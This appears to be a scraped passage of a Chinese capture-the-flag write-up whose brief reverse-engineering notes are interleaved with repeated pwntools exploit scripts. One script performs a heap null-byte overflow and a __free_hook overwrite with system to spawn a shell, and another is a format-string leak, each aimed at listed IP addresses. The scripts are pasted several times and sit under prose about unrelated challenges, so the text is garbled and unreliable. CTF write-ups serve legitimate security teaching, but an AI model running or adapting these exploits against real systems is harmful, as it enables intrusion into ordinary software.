rs('remote') # rs() libc = ELF('./libc6-i386_2.23-0ubuntu10_amd64.so') # dbg('c') perchase(0x10, 'testn', 0) #0 comment(0, 'testcommentn', 0) perchase(0x10, 'testn', 0) #1 throw(0) perchase(0x10, 'testn', 0) #0 comment(0, 'a', 0) throw(0) ru('Comment ') libc_leak = uu32(r(4)) & 0xffffff00 success('libc_leak = {:#x}'.format(libc_leak)) libc_base = libc_leak - 0x1b0700 # clean up throw(1) # perchase(0x8c, 'an', 0) #0 perchase(0x80, 'an', 0) #1 perchase(0x40, 'an', 0) #2 perchase(0xf8, 'an', 0) #3 perchase(0x20, 'topn', 0) #4 throw(2) # null overflow perchase(0x44, 'a'*0x40 + p32(0x190) + 'n', 0) #2 throw(0) # overlap throw(3) perchase(0x10, 'an', 0) #0 perchase(0x50, 'an', 0) perchase(0x100, p32(0) + p32(0x31) + p32(0) + p32(0x239) + ''*0x14 + 'n', 0) throw(0) perchase(0x100, '/bin/shn', 0) libc.address = libc_base free_hook = libc.sym['__free_hook'] system = libc.sym['system'] rename(1, p32(0)*5 + p32(free_hook), p32(system)) irt()
8
最后求解该42元非齐次线性方程组即可,但被z3狠狠的坑了一把,不知道是不是姿势有问题就是跑不出来。虽然42阶,但行列式值也不至于很难算,使用克拉默法则直接都能手算出方程组的解。最终使用Octave录入增广矩阵秒求出方程组解,flappy师傅使用numpy也解出了方程组,篇幅关系就不贴具体代码了。得到方程组解后再解密一次即可得到flag
#https://github.com/matrix1001/welpwn from PwnContext import * if __name__ == '__main__': context.terminal = ['tmux', 'splitw', '-h'] #context.log_level = 'debug' # functions for quick script s = lambda data :ctx.send(str(data)) #in case that data is an int sa = lambda delim,data :ctx.sendafter(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs) # misc functions uu32 = lambda data :u32(data.ljust(4, '')) uu64 = lambda data :u64(data.ljust(8, '')) ctx.binary = './pwn' ctx.remote = ('47.111.59.243', 10001) #ctx.custom_lib_dir = './glibc-all-in-one/libs/2.23-0ubuntu10_i386/' ctx.remote_libc = './libc6-i386_2.23-0ubuntu10_amd64.so' ctx.debug_remote_libc = True def perchase(name_len, name, price): sla('>>>', 1) sla('length', name_len) sa('Name', name) sla('Price', price) def comment(idx, comment, score): sla('>>>', 2) sla('Index', idx) sa('Comment', comment) sla('score', score) def throw(idx): sla('>>>', 3) sla('index', idx) def rename(idx, new_name, some_fuck): sla('>>>', 4) sla('index', idx) sleep(0.1) s(new_name) sa('power', 'yn') sla('serial', 'e4SyD1C!') sa('Pwner', some_fuck) ctx.breakpoints = [0x12f2, 0x1328, 0x118f] rs('remote') # rs() libc = ELF('./libc6-i386_2.23-0ubuntu10_amd64.so') # dbg('c') perchase(0x10, 'testn', 0) #0 comment(0, 'testcommentn', 0) perchase(0x10, 'testn', 0) #1 throw(0) perchase(0x10, 'testn', 0) #0 comment(0, 'a', 0) throw(0) ru('Comment ') libc_leak = uu32(r(4)) & 0xffffff00 success('libc_leak = {:#x}'.format(libc_leak)) libc_base = libc_leak - 0x1b0700 # clean up throw(1) # perchase(0x8c, 'an', 0) #0 perchase(0x80, 'an', 0) #1 perchase(0x40, 'an', 0) #2 perchase(0xf8, 'an', 0) #3 perchase(0x20, 'topn', 0) #4 throw(2) # null overflow perchase(0x44, 'a'*0x40 + p32(0x190) + 'n', 0) #2 throw(0) # overlap throw(3) perchase(0x10, 'an', 0) #0 perchase(0x50, 'an', 0) perchase(0x100, p32(0) + p32(0x31) + p32(0) + p32(0x239) + ''*0x14 + 'n', 0) throw(0) perchase(0x100, '/bin/shn', 0) libc.address = libc_base free_hook = libc.sym['__free_hook'] system = libc.sym['system'] rename(1, p32(0)*5 + p32(free_hook), p32(system)) irt()
9
rev
程序需要输入三段数据,中间用特殊字符隔断,其中第一段必须为10位,第二段必须为4位,第三段不超过10位
第一段数据存在异或校验,结合前面的汇编代码可以推出第一段数据为
#https://github.com/matrix1001/welpwn from PwnContext import * try: from IPython import embed as ipy except ImportError: print ('IPython not installed.') if __name__ == '__main__': context.terminal = ['tmux', 'splitw', '-h'] context.log_level = 'debug' # functions for quick script s = lambda data :ctx.send(str(data)) #in case that data is an int sa = lambda delim,data :ctx.sendafter(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs) # misc functions uu32 = lambda data :u32(data.ljust(4, '')) uu64 = lambda data :u64(data.ljust(8, '')) ctx.binary = './playfmt' ctx.custom_lib_dir = '/root/share/project/glibc-all-in-one/libs/2.23-0ubuntu11_i386/' ctx.debug_remote_libc = True ctx.remote = ('120.78.192.35', 9999) def fmt(payload): sleep(0.2) s(payload) rs('remote') sleep(1) ctx.clean() fmt('%18$x') heap_leak = int(r(), 16) flag_addr = heap_leak - 0x18 flag_addr_c = p32(flag_addr) for i in range(4): fmt('%{}c%6$hhn'.format(i+0xf0)) fmt('%{}c%14$hhn'.format(ord(flag_addr_c[i]))) fmt('%240c%6$hhn') dbg('b *0x0804889Fnc') sleep(1) ctx.clean() fmt('%6$x') stack = int(ru(8), 16) addup = (0xf0 - (stack & 0xff))/4 fmt('%240c%6$hhn%{}$s'.format(addup+14)) r()
0
以上四处代码不难得出,第二段数据必须是大写字母“ABCDEFG”中的四个,为
#https://github.com/matrix1001/welpwn from PwnContext import * try: from IPython import embed as ipy except ImportError: print ('IPython not installed.') if __name__ == '__main__': context.terminal = ['tmux', 'splitw', '-h'] context.log_level = 'debug' # functions for quick script s = lambda data :ctx.send(str(data)) #in case that data is an int sa = lambda delim,data :ctx.sendafter(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs) # misc functions uu32 = lambda data :u32(data.ljust(4, '')) uu64 = lambda data :u64(data.ljust(8, '')) ctx.binary = './playfmt' ctx.custom_lib_dir = '/root/share/project/glibc-all-in-one/libs/2.23-0ubuntu11_i386/' ctx.debug_remote_libc = True ctx.remote = ('120.78.192.35', 9999) def fmt(payload): sleep(0.2) s(payload) rs('remote') sleep(1) ctx.clean() fmt('%18$x') heap_leak = int(r(), 16) flag_addr = heap_leak - 0x18 flag_addr_c = p32(flag_addr) for i in range(4): fmt('%{}c%6$hhn'.format(i+0xf0)) fmt('%{}c%14$hhn'.format(ord(flag_addr_c[i]))) fmt('%240c%6$hhn') dbg('b *0x0804889Fnc') sleep(1) ctx.clean() fmt('%6$x') stack = int(ru(8), 16) addup = (0xf0 - (stack & 0xff))/4 fmt('%240c%6$hhn%{}$s'.format(addup+14)) r()
1
第三段数据不能超过十位,必须为数字,且满足上图运算,使用z3约束求解
#https://github.com/matrix1001/welpwn from PwnContext import * try: from IPython import embed as ipy except ImportError: print ('IPython not installed.') if __name__ == '__main__': context.terminal = ['tmux', 'splitw', '-h'] context.log_level = 'debug' # functions for quick script s = lambda data :ctx.send(str(data)) #in case that data is an int sa = lambda delim,data :ctx.sendafter(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs) # misc functions uu32 = lambda data :u32(data.ljust(4, '')) uu64 = lambda data :u64(data.ljust(8, '')) ctx.binary = './playfmt' ctx.custom_lib_dir = '/root/share/project/glibc-all-in-one/libs/2.23-0ubuntu11_i386/' ctx.debug_remote_libc = True ctx.remote = ('120.78.192.35', 9999) def fmt(payload): sleep(0.2) s(payload) rs('remote') sleep(1) ctx.clean() fmt('%18$x') heap_leak = int(r(), 16) flag_addr = heap_leak - 0x18 flag_addr_c = p32(flag_addr) for i in range(4): fmt('%{}c%6$hhn'.format(i+0xf0)) fmt('%{}c%14$hhn'.format(ord(flag_addr_c[i]))) fmt('%240c%6$hhn') dbg('b *0x0804889Fnc') sleep(1) ctx.clean() fmt('%6$x') stack = int(ru(8), 16) addup = (0xf0 - (stack & 0xff))/4 fmt('%240c%6$hhn%{}$s'.format(addup+14)) r()
2